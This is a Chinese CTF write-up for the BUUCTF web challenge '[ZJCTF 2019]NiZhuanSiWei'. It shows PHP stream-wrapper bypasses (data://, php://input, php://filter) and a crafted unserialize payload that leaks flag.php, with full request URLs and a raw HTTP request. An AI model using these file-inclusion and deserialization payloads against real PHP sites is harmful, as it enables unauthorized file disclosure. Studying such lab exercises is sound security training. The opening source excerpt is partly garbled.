buu-web:[ZJCTF 2019]NiZhuanSiWei

源码:

".file_get_contents($text,'r')."


"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
  • 代码示意我们要get传参text,file,password
  • 通过初步观察,可基本确定text要求传入文件,且文件内容为:welcome to the zjctf、file传入一个文件名,通过include($file)包含进来、password未知

伪协议第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,才可以进入判断进行下一步
由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。

在例子中发现:file_get_contents()$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

  • 姿势一:data://协议利用
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
// d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 ----->  welcome to the zjctf


url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

得到:buu-web:[ZJCTF 2019]NiZhuanSiWei_第1张图片

 

  • 姿势二:php://协议利用
url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
POST数据:welcome to the zjctf


POST请求包:
POST /?text=php://input HTTP/1.1
Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
Connection: close
Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1

welcome to the zjctf



回包:
HTTP/1.1 200 OK
Server: openresty
Date: Sat, 08 Feb 2020 11:45:53 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 38
Connection: close
X-Powered-By: PHP/5.6.40


welcome to the zjctf


buu-web:[ZJCTF 2019]NiZhuanSiWei_第2张图片

伪协议第二次利用:

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

此处过滤了flag这个关键字且注释中有一个useless.php,明面上说是没用,但是我们可以通过伪协议拉下来瞅瞅

file=php://filter/read=convert.base64-encode/resource=useless.php 

为了方便我们前面便用data协议来绕过 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),进入判断语句内部

于是:

url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php 

得到useless.phpbase64编码后的内容:


解码后得到:

buu-web:[ZJCTF 2019]NiZhuanSiWei_第3张图片

这一段代码的意思是:获取这个$file参数代表的文件并且输出出来,注意Flag类中的$file参数与通过get传输$file参数不是同一个,两者位于不同的作用域!
由其中的注释猜测,应该是要我们包含flag.php这个文件即可获得flag,即将Flag对象中的$file参数应为flag.php
如果我们包含了useless.php,则整体代码变成了:

buu-web:[ZJCTF 2019]NiZhuanSiWei_第4张图片$password = unserialize($password);中,unserialize()函数是一个反序列化函数。

若将一个序列化后的对象即一串字符串传给$password,那么我们会得到一个实例对象,将一个useless.php中的Flag对象(其中$file参数的值为flag.php)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php中的代码。

于是构造:buu-web:[ZJCTF 2019]NiZhuanSiWei_第5张图片

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

buu-web:[ZJCTF 2019]NiZhuanSiWei_第6张图片
于是乎:payload为

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在url后加入以上语句后,会执行一下操作:

  • 首先,利用data伪协议,text参数便可以绕过if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),顺利进入判断语句内
  • 然后,包含了useless.php文件,从而在原代码中引入了Flag对象,只有如此,在password参数反序列化才可输出flag.php文件的内容
  • 传入的password参数经过反序列化后,得到一个$file=flag.php的Flag对象,同时执行了该Flag对象内部的__tostring()方法,输出flag.php的内容,从而得到flag
    注意:需要查看网页源代码方可见到flag

你可能感兴趣的:(CTF-web,渗透之路,php)